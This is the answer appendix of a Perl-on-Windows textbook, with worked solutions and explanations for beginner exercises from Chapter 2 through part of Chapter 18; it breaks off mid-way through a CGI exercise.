Chapter 11, Formats
Chapter 12, Directory Access
Chapter 13, File and Directory Manipulation
Chapter 14, Process Management
Chapter 15, Other Data Transformation
Chapter 16, System Information
Chapter 17, Database Manipulation
Chapter 18, CGI Programming
Chapter 19, OLE Automation

This appendix gives the answers for the exercises found at the end of each chapter.

A.1 Chapter 2, Scalar Data

  1. Here's one way to do it:

    $pi = 3.141592654;
$result = 2 * $pi * 12.5;
print "radius 12.5 is circumference $result\n";

    First, we give a constant value ( [pi]) to the scalar variable $pi. Next, we compute the circumference using this value of $pi in an expression. Finally, we print the result using a string containing a reference to the result.

  2. Here's one way to do it:

    print "What is the radius: ";
chomp($radius = <STDIN>);
$pi = 3.141592654;
$result = 2 * $pi * $radius;
print "radius $radius is circumference $result\n";

    This is similar to the previous exercise, but in this case, we've asked the person running the program for a value, using a print statement for a prompt, and then the <STDIN> operator to read a line from the terminal.

    If we had left off the chomp, we'd get a newline in the middle of the displayed string at the end. You must get that newline off the string as soon as you can.

  3. Here's one way to do it:

    print "First number: "; chomp($a = <STDIN>);
print "Second number: "; chomp($b = <STDIN>);
$c = $a * $b; print "Answer is $c\n";

    The first line does three things: prompts you with a message, reads a line from standard input, and then gets rid of the inevitable newline at the end of the string. Note that because we are using the value of $a strictly as a number, we can omit the chomp here, because 45\n is 45 when used numerically. However, such careless programming would likely come back to haunt us later on (for example, if we were to include $a in a message).

    The second line does the same thing for the second number and places it into the scalar variable $b.

    The third line multiplies the two numbers together and prints the result. Note the newline at the end of the string here, contrasted with its absence in the first two lines. The first two messages are prompts, for which user input was desired on the same line.

  4. Here's one way to do it:

    print "String: "; $a = <STDIN>;
print "Number of times: "; chomp($b = <STDIN>);
$c = $a x $b; print "The result is:\n$c";

    As with the previous exercise, the first two lines ask for, and accept, values for the two variables. Unlike the previous exercise, we don't chomp the newline from the end of the string, because we need it! The third line takes the two entered values and performs a string repetition on them, and then displays the answer. Note that the interpolation of $c is not followed by a newline, because we believe that $c will always end in a newline anyway.

Previous: 19.6 Exercises | Learning Perl on Win32 Systems | Next: A.2 Chapter 3, Arrays and List Data
19.6 Exercises | Book Index | A.2 Chapter 3, Arrays and List Data


[Appendix A] A.2 Chapter 3, Arrays and List Data

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.2 Chapter 3, Arrays and List Data

  1. Here's one way to do it:

    print "Enter the list of strings:\n";
@list = <STDIN>;
@reverselist = reverse @list;
print @reverselist;

    The first line prompts for the strings. The second reads the strings into an array variable. The third line computes the list in the reverse order, storing it into another variable. The final line displays the result.

    We can actually combine the last three lines, resulting in:

    print "Enter the list of strings:\n";
print reverse <STDIN>;

    This method works because the print operator is expecting a list, and reverse returns a list - so they're happy. And reverse wants a list of values to reverse, and <STDIN> in a list context returns a list of the lines, so they're happy, too!

  2. One way to do this is:

    print "Enter the line number: "; chomp($a = <STDIN>);
print "Enter the lines, end with ^Z:\n"; @b = <STDIN>;
print "Answer: $b[$a-1]";

    The first line prompts for a number, reads it from standard input, and removes that pesky newline. The second line asks for a list of strings, then uses the <STDIN> operator in a list context to read all of the lines until end-of-file into an array variable. The final statement prints the answer, using an array reference to select the proper line. Note that we don't have to add a newline to the end of this string, because the line selected from the @b array still has its newline ending. You'll need to type CTRL-Z at the console to indicate an end-of-file.

  3. One way to do this is:

    srand;
print "List of strings: "; @b = <STDIN>;
print "Answer: $b[rand(@b)]";

    The first line initializes the random number generator. The second line reads a bunch of strings. The third line selects a random element from that bunch of strings and prints it.

Previous: A.1 Chapter 2, Scalar Data | Learning Perl on Win32 Systems | Next: A.3 Chapter 4, Control Structures
A.1 Chapter 2, Scalar Data | Book Index | A.3 Chapter 4, Control Structures


[Appendix A] A.3 Chapter 4, Control Structures

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.3 Chapter 4, Control Structures

  1. Here's one way to do it:

    print "What temperature is it? ";
chomp($temperature = <STDIN>);
if ($temperature > 72) {
  print "Too hot!\n";
} else {
  print "Too cold!\n";
}

    The first line prompts you for the temperature. The second line accepts the temperature for input. The if statement on the final five lines selects one of two messages to print, depending on the value of $temperature.

  2. Here's one way to do it:

    print "What temperature is it? ";
chomp($temperature = <STDIN>);
if ($temperature > 75) {
  print "Too hot!\n";
} elsif ($temperature < 68) {
  print "Too cold!\n";
} else {
  print "Just right!\n";
}

    Here, we've modified the program to include a three-way choice. First, the temperature is compared to 75, then to 68. Note that only one of the three choices will be executed each time through the program.

  3. Here's one way to do it:

    print "Enter a number (999 to quit): ";
chomp($n = <STDIN>);
while ($n != 999) {
  $sum += $n;
  print "Enter another number (999 to quit): ";
  chomp($n = <STDIN>);
}
print "the sum is $sum\n";

    The first line prompts for the first number. The second line reads the number from the terminal. The while loop continues to execute as long as the number is not 999.

    The += operator accumulates the numbers into the $sum variable. Note that the initial value of $sum is undef, which makes a nice value for an accumulator, because the first value added in will be effectively added to 0 (remember that undef used as a number is 0).

    Within the loop, we must prompt for and receive another number, so that the test at the top of the loop is against a newly entered number.

    When the loop is exited, the program prints the accumulated results.

    Note that if you enter 999 right away, the value of $sum is not 0, but an empty string - the value of undef when used as a string. If you want to ensure that the program prints 0 in this case, you should initialize the value of $sum at the beginning of the program with $sum = 0.

  4. Here's one way to do it:

    print "Enter some strings, end with ^Z:\n";
@strings = <STDIN>;
while (@strings) {
  print pop @strings;
}

    First, this program asks for the strings. These strings are saved in the array variable @strings, one per element.

    The control expression of the while loop is @strings. The control expression is looking for a single value (true or false), and is therefore computing the expression in a scalar context. The name of an array (such as @strings) when used in a scalar context is the number of elements currently in the array. As long as the array is not empty, this number is non-zero, and therefore true. This is a very common Perl idiom for "do this while the array is non-empty."

    The body of the loop prints a value, obtained by pop'ing off the rightmost element of the array. Thus, each time through the loop, the array is one element shorter, because that element has been printed.

    You may have considered using subscripts for this problem. As we say, there's more than one way to do it. However, you'll rarely see subscripts in a true Perl Hacker's programs because a better way almost always exists.

  5. Here's a way to do it without a list:

    for ($number = 0; $number <= 32; $number++) {
  $square = $number * $number;
  printf "%5g %8g\n", $number, $square;
}

    And here's how to do it with a list:

    foreach $number (0..32) {
  $square = $number * $number;
  printf "%5g %8g\n", $number, $square;
}

    These solutions both involve loops, using the for and foreach statements. The body of the loops are identical, because for both solutions, the value of $number proceeds from 0 to 32 on each iteration.

    The first solution uses a traditional C-like for statement. The three expressions respectively: set $number to 0, test to see if $number is less than 32, and increment $number on each iteration.

    The second solution uses a foreach statement. A list of 33 elements (0 to 32) is created, using the list contructor. The variable $number is then set to each element in turn.

Previous: A.2 Chapter 3, Arrays and List Data | Learning Perl on Win32 Systems | Next: A.4 Chapter 5, Hashes
A.2 Chapter 3, Arrays and List Data | Book Index | A.4 Chapter 5, Hashes


[Appendix A] A.4 Chapter 5, Hashes

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.4 Chapter 5, Hashes

  1. Here is one way to do it:

    %map = qw(red apple green leaves blue ocean);
print "A string please: "; chomp($some_string = <STDIN>);
print "The value for $some_string is $map{$some_string}\n";

    The first line creates the hash, giving it the desired key-value pairs. The second line fetches a string, removing the pesky newline. The third line prints the entered value, and its mapped value.

    You can also create the hash through a series of separate assignments, like so:

    $map{'red'} = 'apple';
$map{'green'} = 'leaves';
$map{'blue'} = 'ocean';

  2. Here's one way to do it:

    chomp(@words = <STDIN>); # read the words, minus newlines
foreach $word (@words) {
  $count{$word} = $count{$word} + 1; # or $count{$word}++
}
foreach $word (keys %count) {
  print "$word was seen $count{$word} times\n";
}

    The first line reads the lines into the @words array. Recall that this method will cause each line to end up as a separate element of the array, with the newline character still intact.

    The next four lines step through the array, setting $word equal to each line in turn. The newline is discarded with chomp(), and then the magic comes. Each word is used as a key into a hash. The value of the element selected by the key (the word) is a count of the number of times we've seen that word so far. Initially, there are no elements in the hash, so if the word wild is seen on the first line, we have $count{"wild"}, which is undef. The undef value plus 1 turns out to be 0 plus 1, or one. (Recall that undef looks like a 0 if used as a number.) The next time through, we'll have 1 plus 1, or 2, and so on.

    Another common way to write the increment is given in the comments. Fluent Perl programmers tend to be lazy (we call it "concise"), and would never go for writing the same hash reference on both sides of the assignment when a simple autoincrement will do.

    After the words have been counted, the last few lines step through the hash by looking at each of its keys one at a time. The key and the corresponding value are printed after having been interpolated into the string.

    The extra-challenge answer looks like this answer, with the sort operator inserted just before the word keys on the third-to-last line. Without the sorting, the resulting output is seemingly random and unpredictable. However, after being sorted, the output is predictable and consistent. (Personally, I rarely use the keys operator without also adding a sort immediately in front of it - this method ensures that reruns over the same or similar data generate comparable results.)

Previous: A.3 Chapter 4, Control Structures | Learning Perl on Win32 Systems | Next: A.5 Chapter 6, Basic I/O
A.3 Chapter 4, Control Structures | Book Index | A.5 Chapter 6, Basic I/O


[Appendix A] A.5 Chapter 6, Basic I/O

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.5 Chapter 6, Basic I/O

  1. Here's one way to do it:

    print reverse <>;

    You may be surprised at the brevity of this answer, but this answer will get the job done. Here's what is happening, from the inside out:

    First, the reverse operator is looking for a list for its arguments. Accordingly, the diamond operator (<>) is being evaluated in a list context. Thus, all of the lines of the files named by command-line arguments (or standard input, if none are named) are read in, and then massaged into a list with one line per element.

    Next, the reverse operator reverses the list end-for-end.

    Finally, the print operator takes the resulting list, and displays it.

  2. Here's one way to do it:

    @ARGV = reverse @ARGV;
print reverse <>;

    The first line just takes any filename arguments and reverses them. That way if the user called this script with command line arguments "camel gecko alpaca", @ARGV would then contain "alpaca gecko camel" instead. The second line reads in all the lines in all the files in @ARGV, flips them end on end, and prints them. If no arguments were passed to the program, then as before, <> works on STDIN instead.

  3. Here's one way to do it:

    print "List of strings:\n";
chomp(@strings = <STDIN>);
foreach (@strings) {
  printf "%20s\n", $_;
}

    The first line prompts for a list of strings.

    The next line reads all of the strings into one array, and gets rid of the newlines at the end of each line.

    The foreach loop steps through this array, giving $_ the value of each line.

    The printf operator gets two arguments: the first argument defines the format - %20s\n means a 20-character right-justified column, followed by a newline.

  4. Here's one way to do it:

    print "Field width: ";
chomp($width = <STDIN>);
print "List of strings:\n";
chomp(@strings = <STDIN>);
foreach (@strings) {
  printf "%${width}s\n", $_;
}

    To the previous exercise's answer, we've added a prompt and response for the field width.

    The other change is that the printf format string now contains a variable reference. The value of $width is included into the string before printf considers the format. Note that we cannot write this string as:

    printf "%$widths\n", $_; # WRONG

    because then Perl would be looking for a variable named $widths, not a variable named $width to which we attach an s. Another way to write this is:

    printf "%$width"."s\n", $_; # RIGHT

    because the termination of the string also terminates the variable name, protecting the following character from being sucked up into the name.

Previous: A.4 Chapter 5, Hashes | Learning Perl on Win32 Systems | Next: A.6 Chapter 7, Regular Expressions
A.4 Chapter 5, Hashes | Book Index | A.6 Chapter 7, Regular Expressions


[Appendix A] A.6 Chapter 7, Regular Expressions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.6 Chapter 7, Regular Expressions

  1. Here are some possible answers:

    1. /a+b*/

    2. /\\*\**/ (Remember that the backslash cancels the meaning of the special character following.)

    3. /($whatever){3}/ (You must have the parentheses, or else the multiplier applies only to the last character of $whatever; this solution also fails if $whatever has special characters.)

    4. /[\000-\377]{5}/ or /(.|\n){5}/ (You can't use dot alone here, because dot doesn't match newline.)

    5. /(^|\s)(\S+)(\s+\2)+(\s|$)/ (\S is non-whitespace, and \2 is a reference to whatever the "word" is; the caret or whitespace alternative ensures that the \S+ begins at a whitespace boundary.)

    1. One way to do this is:

           while (<STDIN>) {
       if (/a/i && /e/i && /i/i && /o/i && /u/i) {
         print;
       }
     }

      Here, we have an expression consisting of five match operators. These operators are all looking at the contents of the $_ variable, which is where the control expression of the while loop is putting each line. The match operator expression will be true only when all five vowels are found.

      Note that as soon as any of the five vowels are not found, the remainder of the expression is skipped, because the && operator doesn't evaluate its right argument if the left argument is false. For more information on using the && operator as a control structure, please refer to the section, "&&, ||, and ?: as Control Structures".

    2. Another way to do this is:

           while (<STDIN>) {
       if (/a.*e.*i.*o.*u/i) {
         print;
       }
     }

      This answer turns out to be easier than the other part of this exercise. Here we have a simple regular expression, that looks for the five vowels in sequence, separated by any number of characters.

    3. A third way to do this is:

           while (<STDIN>) {
       if (/^[eiou]*a[^iou]*e[^aou]*i[^aeu]*o[^aei]*u[^aeio]*$/i) {
         print;
       }
     }

      This solution is ugly, but it works. To construct this solution, just think "What can go between the beginning of the line, and the first a?" Then, think "What can go between the first a and the first e?" Eventually, everything works out, with a little assistance from you.

Previous: A.5 Chapter 6, Basic I/O | Learning Perl on Win32 Systems | Next: A.7 Chapter 8, Functions
A.5 Chapter 6, Basic I/O | Book Index | A.7 Chapter 8, Functions


[Appendix A] A.7 Chapter 8, Functions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.7 Chapter 8, Functions

  1. Here's one way to do it:

    sub card {
  my %card_map;
  @card_map{1..9} = qw(
    one two three four five six seven eight nine
  );

  my($num) = @_;
  if ($card_map{$num}) {
    $card_map{$num}; # return value
  } else {
    $num; # return value
  }
}
# driver routine:
while (<>) {
  chomp;
  print "card of $_ is ", &card($_), "\n";
}

    The &card subroutine (so named because it returns a cardinal name for a given value) begins by initializing a constant hash called %card_map. This array has values such that $card_map{6} is six; consequently, the mapping is easy.

    The if statement determines if the value is in range by looking the number up in the hash - if there's a corresponding hash element, the test is true, so that array element is returned. If there's no corresponding element (such as when $num is 11 or -4), the value returned from the hash lookup is undef, so the else-branch of the if statement is executed, returning the original number. You can also replace that entire if statement with the single expression:

      $card_map{$num} || $num;

    If the value on the left of the || is true, it's the value for the entire expression, which then gets returned. If it's false (such as when $num is out of range), the right side of the || operator is evaluated, returning $num as the return value.

    The driver routine takes successive lines, chomping off their newlines, and hands them one at a time to the &card routine, printing the result.

  2. Here's one way to do it:

    sub card { ...; } # from previous problem
print "Enter first number: ";
chomp($first = <STDIN>);
print "Enter second number: ";
chomp($second = <STDIN>);
$message = &card($first) . " plus " .
  &card($second) . " equals " .
  &card($first+$second) . ".\n";
print "\u$message";

    The first two print statements prompt for two numbers, with the immediately following statements reading the values into $first and $second.

    A string called $message is then built up by calling &card three times, once for each value, and once for the sum.

    After the message is constructed, its first character is uppercased by the case-shifting backslash operator \u. The message is then printed.

  3. Here's one way to do it:

    sub card {
  my %card_map;
  @card_map{0..9} = qw(
    zero one two three four five six seven eight nine
  );

  my($num) = @_;
  my($negative);
  if ($num < 0) {
    $negative = "negative ";
    $num = - $num;
  }
  if ($card_map{$num}) {
    $negative . $card_map{$num}; # return value
  } else {
    $negative . $num; # return value
  }
}

    Here, we've given the %card_map array a name for 0.

    The first if statement inverts the sign of $num, and sets $negative to the word negative, if the number is found to be less than 0. After this if statement, the value of $num is always non-negative, but we will have an appropriate prefix string in $negative.

    The second if statement determines if the (now positive) $num is within the hash. If so, the resulting hash value is appended to the prefix within $negative, and returned. If not, the value within $negative is attached to the original number.

    That last if statement can be replaced with the expression:

      $negative . ($card_map{$num} || $num);

Previous: A.6 Chapter 7, Regular Expressions | Learning Perl on Win32 Systems | Next: A.8 Chapter 9, Miscellaneous Control Structures
A.6 Chapter 7, Regular Expressions | Book Index | A.8 Chapter 9, Miscellaneous Control Structures


[Appendix A] A.8 Chapter 9, Miscellaneous Control Structures

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.8 Chapter 9, Miscellaneous Control Structures

  1. Here's one way to do it:

    sub card {} # from previous exercise

while () { ## NEW ##
  print "Enter first number: ";
  chomp($first = <STDIN>);
  last if $first eq "end"; ## NEW ##

  print "Enter second number: ";
  chomp($second = <STDIN>);
  last if $second eq "end"; ## NEW ##

  $message = &card($first) . " plus " .
    &card($second) . " equals " .
    &card($first+$second) . ".\n";
  print "\u$message";
} ## NEW ##

    Note the addition of the while loop, and the two last operators. That's it!

  2. Here's one way to do it:

    {
  print "Enter a number (999 to quit): ";
  chomp($n = <STDIN>);
  last if $n == 999;
  $sum += $n;
  redo;
}

print "the sum is $sum\n";

    We're using a naked block with a redo and a last to get things done this time. We start by printing the prompt and grabbing the number. If it's 999, we exit the block with last and print out the sum on exit. Otherwise, we add to our running total and use redo to execute the block again.

Previous: A.7 Chapter 8, Functions | Learning Perl on Win32 Systems | Next: A.9 Chapter 10, Filehandles and File Tests
A.7 Chapter 8, Functions | Book Index | A.9 Chapter 10, Filehandles and File Tests


[Appendix A] A.9 Chapter 10, Filehandles and File Tests

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.9 Chapter 10, Filehandles and File Tests

  1. Here's one way to do it:

    print "What file? ";
chomp($filename = <STDIN>);
open(THATFILE, "$filename") ||
  die "cannot open $filename: $!";
while (<THATFILE>) {
  print "$filename: $_"; # presume $_ ends in \n
}

    The first two lines prompt for a filename, which is then opened with the filehandle THATFILE. The contents of the file are read using the filehandle, and printed to STDOUT.

  2. Here's one way to do it:

    print "Input file name: ";
chomp($infilename = <STDIN>);
print "Output file name: ";
chomp($outfilename = <STDIN>);
print "Search string: ";
chomp($search = <STDIN>);
print "Replacement string: ";
chomp($replace = <STDIN>);
open(IN,$infilename) ||
  die "cannot open $infilename for reading: $!";
## optional test for overwrite...
die "will not overwrite $outfilename" if -e $outfilename;
open(OUT,">$outfilename") ||
  die "cannot create $outfilename: $!";
while (<IN>) { # read a line from file IN into $_
  s/$search/$replace/g; # change the lines
  print OUT $_; # print that line to file OUT
}
close(IN);
close(OUT);

    This program is based on the file-copying program presented earlier in the chapter. New features here include the prompts for the strings, the substitute command in the middle of the while loop, and the test for overwriting a file. Note that backreferences in the regular expression do work, but references to memory in the replacement string do not.

  3. Here's one way to do it:

    while (<>) {
  chomp; # eliminate the newline
  print "$_ is readable\n" if -r;
  print "$_ is writable\n" if -w;
  print "$_ is executable\n" if -x;
  print "$_ does not exist\n" unless -e;
}

    This while loop reads a filename each time through. After discarding the newline, the series of statements tests the file for the various permissions.

  4. Here's one way to do it:

    while (<>) {
  chomp;
  $age = -M;
  if ($oldest_age < $age) {
    $oldest_name = $_;
    $oldest_age = $age;
  }
}
print "The oldest file is $oldest_name ",
  "and is $oldest_age days old.\n";

    First, we loop on each filename being read in. The newline is discarded, and then the age (in days) gets computed with the -M operator. If the age for this file exceeds the oldest file we've seen so far, we remember the filename and its corresponding age. Initially, $oldest_age will be zero, so we're counting on there being at least one file that is more than zero days old.

    The final print statement generates the report when we're done.

Previous: A.8 Chapter 9, Miscellaneous Control Structures | Learning Perl on Win32 Systems | Next: A.10 Chapter 11, Formats
A.8 Chapter 9, Miscellaneous Control Structures | Book Index | A.10 Chapter 11, Formats


[Appendix A] A.10 Chapter 11, Formats

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.10 Chapter 11, Formats

  1. Here's one way to do it:

    $file = shift || die "usage: $0 filename";
open(F, $file) || die "open: $!";
while (<F>) {
  ($user, $company, $email) = split /:/;
  write;
}
format STDOUT =
@<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<<
$user,          $company,                $email
.

    The second line opens the file. The while loop processes the file line-by-line. Each line is torn apart (with colon delimiters), which loads up the scalar variables. The final statement of the while loop invokes write to display all of the data.

    The format for the STDOUT filehandle defines a simple line with three fields. The values come from the three scalar variables that are given values in the while loop.

  2. Here's one way to do it:

    # append to program from the first problem...
format STDOUT_TOP =
User            Company                  Real Name
==============  =======================  =================
.

    All you need to get page headers for the previous program is to add a top-of-page format. Here, we put column headers on the columns.

    To get the columns to line up, we copied the text of format STDOUT and used overstrike mode in our text editor to replace @<<< fields with ==== bars. That's the nice thing about the one-character-to-one-character correspondence between a format and the resulting display.

  3. Here's one way to do it:

    # append to program from the first problem...
format STDOUT_TOP =
Page @<<<
$%

User            Company                  Real Name
==============  =======================  =================
.

    Well, here again, to get stuff at the top of the page, we've added a top-of-page format. This format also contains a reference to $%, which gives us a page number automatically.

Previous: A.9 Chapter 10, Filehandles and File Tests | Learning Perl on Win32 Systems | Next: A.11 Chapter 12, Directory Access
A.9 Chapter 10, Filehandles and File Tests | Book Index | A.11 Chapter 12, Directory Access


[Appendix A] A.11 Chapter 12, Directory Access

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.11 Chapter 12, Directory Access

  1. Here's one way to do it:

    print "Where to? ";
chomp($newdir = <STDIN>);
chdir($newdir) || die "Cannot chdir to $newdir: $!";
foreach (<*>) {
  print "$_\n";
}

    The first two lines prompt for and read the name of the directory.

    The third line attempts to change the directory to the given name, aborting if this isn't possible.

    The foreach loop steps through a list. But what's the list? It's the glob in a list context, which expands to a list of all of the filenames that match the pattern (here, *).

  2. Here's one way to do it, with a directory handle:

    print "Where to? ";
chomp($newdir = <STDIN>);
chdir($newdir) ||
  die "Cannot chdir to $newdir: $!";
opendir(DOT,".") ||
  die "Cannot opendir . (serious dainbramage): $!";
foreach (sort readdir(DOT)) {
    print "$_\n";
  }
closedir(DOT);

    Just as with the previous program, we prompt and read a new directory. After we've chdir'ed there, we open the directory creating a directory handle named DOT. In the foreach loop, the list returned by readdir (in a list context) is sorted, then stepped through, assigning each element to $_ in turn.

    And here's how to do it with a glob instead:

    print "Where to? ";
chomp($newdir = <STDIN>);
chdir($newdir) || die "Cannot chdir to $newdir: $!";
foreach (sort <* .*>) {
    print "$_\n";
}

    Yes, this solution is basically the other program from the previous exercise, but I've added a sort operator in front of the glob, and I also added .* to the glob to pick up the files that begin with dot. We need the sort because a file named !fred belongs before the dot files, and barney belongs after them. In addition, an easy glob pattern that can get them all in the proper sequence does not exist.

Previous: A.10 Chapter 11, Formats | Learning Perl on Win32 Systems | Next: A.12 Chapter 13, File and Directory Manipulation
A.10 Chapter 11, Formats | Book Index | A.12 Chapter 13, File and Directory Manipulation


[Appendix A] A.12 Chapter 13, File and Directory Manipulation

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.12 Chapter 13, File and Directory Manipulation

  1. Here's one way to do it:

    unlink @ARGV;

    Yup, that's it. The @ARGV array is a list of names to be removed. The unlink operator takes a list of names, so we just marry the two, and we're done.

    Of course, this solution doesn't handle error reporting, or the -f or -i options, or anything like that, but those things are just gravy. If your solution addressed these things, good!

  2. Here's one way to do it:

    ($old, $new) = @ARGV; # name them
if (-d $new) { # new name is a directory, need to patch it up
  ($basename = $old) =~ s#.*\\##s; # get basename of $old
  $new .= "\\$basename"; # and append it to new name
}
rename($old,$new) || die "Cannot rename $old to $new: $!";

    The workhorse in this program is the last line, but the remainder of the program is necessary for the case in which the name we are renaming to is a directory.

    First, we give understandable names to the two elements of @ARGV. Then, if the $new name is a directory, we need to patch it by adding the basename of the $old name to the end of the new name. Finally, after the basename is patched up, we're home free, with a rename invocation.

Previous: A.11 Chapter 12, Directory Access | Learning Perl on Win32 Systems | Next: A.13 Chapter 14, Process Management
A.11 Chapter 12, Directory Access | Book Index | A.13 Chapter 14, Process Management


[Appendix A] A.13 Chapter 14, Process Management

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.13 Chapter 14, Process Management

  1. Here's one way to do it:

    my ($src, $trg) = @ARGV;
die "$src isn't a directory" unless -d $src;
die "$trg isn't a directory" unless -d $trg;
`xcopy /s /e $src $trg`;

    We check to make sure both arguments are really directories, then we invoke xcopy to do the dirty work. We could have also used:

    system("xcopy /s /e $src $trg");

  2. Here's one way to do it:

    @hosts = `net view`;
foreach (@hosts) {
  next unless m#\\\\#;
  chop;
  s/^(\S+).*/$1/;
  push @sorted, $_;
}
print join("\n", sort @sorted);

    We run the command net view and capture the output as a list of lines. We then go through each line looking for hostnames (they start with \\), chop off newlines and comments, and add the matches to another list. We then sort the second list and print it.

Previous: A.12 Chapter 13, File and Directory Manipulation | Learning Perl on Win32 Systems | Next: A.14 Chapter 15, Other Data Transformation
A.12 Chapter 13, File and Directory Manipulation | Book Index | A.14 Chapter 15, Other Data Transformation


[Appendix A] A.14 Chapter 15, Other Data Transformation

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.14 Chapter 15, Other Data Transformation

  1. Here's one way to do it:

    while (<>) {
  chomp;
  $slash = rindex($_,"/");
  if ($slash > -1) {
    $head = substr($_,0,$slash);
    $tail = substr($_,$slash+1);
  } else {
    ($head,$tail) = ("", $_);
  }
  print "head = '$head', tail = '$tail'\n";
}

    Each line read by the diamond operator is first chomped (tossing the newline). Next we look for the rightmost slash in the line, using rindex(). The next two lines break the string apart using substr(). If no slash exists, the result of the rindex is -1, so we hack around that. The final line within the loop prints the results.

  2. Here's one way to do it:

    chomp(@nums = <STDIN>); # note special use of chomp
@nums = sort { $a <=> $b } @nums;
foreach (@nums) {
  printf "%30g\n", $_;
}

    The first line grabs all of the numbers into the @nums array. The second line sorts the array numerically, using an inline definition for a sorting order. The foreach loop prints the results.

  3. Here's one way to do it:

    while (<>) {
  substr($_,0,1) =~ tr/a-z/A-Z/;
  substr($_,1) =~ tr/A-Z/a-z/;
  print;
}

    For each line read by the diamond operator, we use two tr operators, each on a different portion of the string. The first tr operator uppercases the first character of the line, and the second tr operator lowercases the remainder. The result is printed.

    Another way to do this, using only double-quoted string operators, is:

    while (<>) {
  print "\u\L$_";
}

    Give yourself an extra five points if you thought of that method instead.

Previous: A.13 Chapter 14, Process Management | Learning Perl on Win32 Systems | Next: A.15 Chapter 16, System Information
A.13 Chapter 14, Process Management | Book Index | A.15 Chapter 16, System Information


[Appendix A] A.15 Chapter 16, System Information

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.15 Chapter 16, System Information

  1. Here's one way to do it.

    foreach $host (@ARGV) {
  ($name, $aliases, $addrtype, $length, @addrs) = gethostbyname($host);
  print "$host:\n";

  foreach $a (@addrs) {
    print join(".", unpack("C4", $a)), "\n";
  }
}

    This code just takes a list of machine names, iterates over them, calling get-hostbyname() for each one. We then enumerate each of the addresses, printing them out in dotted decimal notation.

  2. Here's one way to do it:

    use Win32::Registry;
$p = shift || die "usage: $0 path";
# strip leading backslashes
$p =~ s#^\\##;
$main::HKEY_LOCAL_MACHINE->Open($p, $key) ||
        die "Open: $!";
$key->GetValues(\%vals); # get values -hash ref
foreach $k (keys %vals) {
    $key = $vals{$k};
    print "$$key[0] = $$key[2]\n";
}

    This code takes a path relative to HKEY_LOCAL_MACHINE (something like SOFTWARE\ActiveWare\Perl5) and strips beginning backslashes, if there are any. It opens the key using the precreated HKEY_LOCAL_MACHINE key. It then calls GetValues (passing it a reference to a hash; see Chapter 18, CGI Programming, for more on references). The code then enumerates over the keys of the hash, printing them. Each value consists of a reference to a list with three items, so we assign the list reference to $key. We then have to dereference $key in order to access its values; we do so with the $$key[0] construct.

  3. Here's one way to do it:

    sub CreateKeyPath {
  my ($subtree, $path) = @_;
  # break it into components
  # strip initial path separator, if there is one
  $path =~ s#^\\##;
  my (@klist) = split(/\\/, $path);
  my $key;
  my $regkey = $subtree;
  foreach $key (@klist) {
    $regkey->Create($key, $regkey) ||
      die "Can't create key $key: $!";
  }
  return $regkey;
}

    We first strip the leading backslash out of the path, then break it into a series of keys. We then iterate over each key, creating the key (remember, create opens it if it already exists) and return the deepest key. We're assuming that we have passed in an open key as the first argument.

  4. Here's one way to do it:

    sub print_dword_key {
    my ($dw) = @_;
    printf ("0x%x", unpack("l", $dw));
}

    This subroutine takes a scalar value that's assumed to be a four-byte integer value and unpacks it using the long format l (which unpacks a four-byte integer). The subroutine then uses printf and its hexidecimal specifier (%x) prefixed with 0x to print out the value.

Previous: A.14 Chapter 15, Other Data Transformation | Learning Perl on Win32 Systems | Next: A.16 Chapter 17, Database Manipulation
A.14 Chapter 15, Other Data Transformation | Book Index | A.16 Chapter 17, Database Manipulation


[Appendix A] A.16 Chapter 17, Database Manipulation

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.16 Chapter 17, Database Manipulation

  1. Here's one way to do it:

    # program 1:
dbmopen(%WORDS,"words",0644);
while (<>) {
  foreach $word (split(/\W+/)) {
    $WORDS{$word}++;
  }
}
dbmclose(%WORDS);

    The first program (the writer) opens a DBM in the current directory called words, creating files named words.dir and words.pag. The while loop grabs each line using the diamond operator. This line is split apart using the split operator, with a delimiter of /\W+/, meaning nonword characters. Each word is then counted into the DBM array, using the foreach statement to step through the words.

    # program 2:
dbmopen(%WORDS,"words",undef);
foreach $word (sort { $WORDS{$b} <=> $WORDS{$a} } keys %WORDS) {
  print "$word $WORDS{$word}\n";
}
dbmclose(%WORDS);

    The second program opens a DBM in the current directory called words. That complicated looking foreach line does most of the dirty work. The value of $word each time through the loop will be the next element of a list. The list is the sorted keys from %WORDS, sorted by their values (the count) in descending order. For each word in the list, we print the word and the number of times the word has occurred.

Previous: A.15 Chapter 16, System Information | Learning Perl on Win32 Systems | Next: A.17 Chapter 18, CGI Programming
A.15 Chapter 16, System Information | Book Index | A.17 Chapter 18, CGI Programming


[Appendix A] A.17 Chapter 18, CGI Programming

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.17 Chapter 18, CGI Programming

  1. Here's one way to do it:

    use strict;
use CGI qw(:standard);
print header(), start_html("Add Me");
print h1("Add Me");
if(param()) {
  my $n1 = param('field1');
  my $n2 = param('field2');
  my $n3 = $n2 + $n1;
  print p("$n1 + $n2 = <strong>$n3</strong>\n");
} else {
  print hr(), start_form();
  print p("First Number:", textfield("field1"));
  print p("Second Number:", textfield("field2"));
  print p(submit("add"), reset("clear"));
  print end_form(), hr();
}
print end_html();

    We simply generate a form if there's no input with two textfields (using the textfield() method). If there is input, we simply add the two fields together and print the result.

  2. Here's one way to do it

    use strict;
use CGI qw(:standard);
print header(), start_html("Browser Detective");
print h1("Browser Detective"), hr();
my $browser = $ENV{'HTTP_USER_AGENT'};
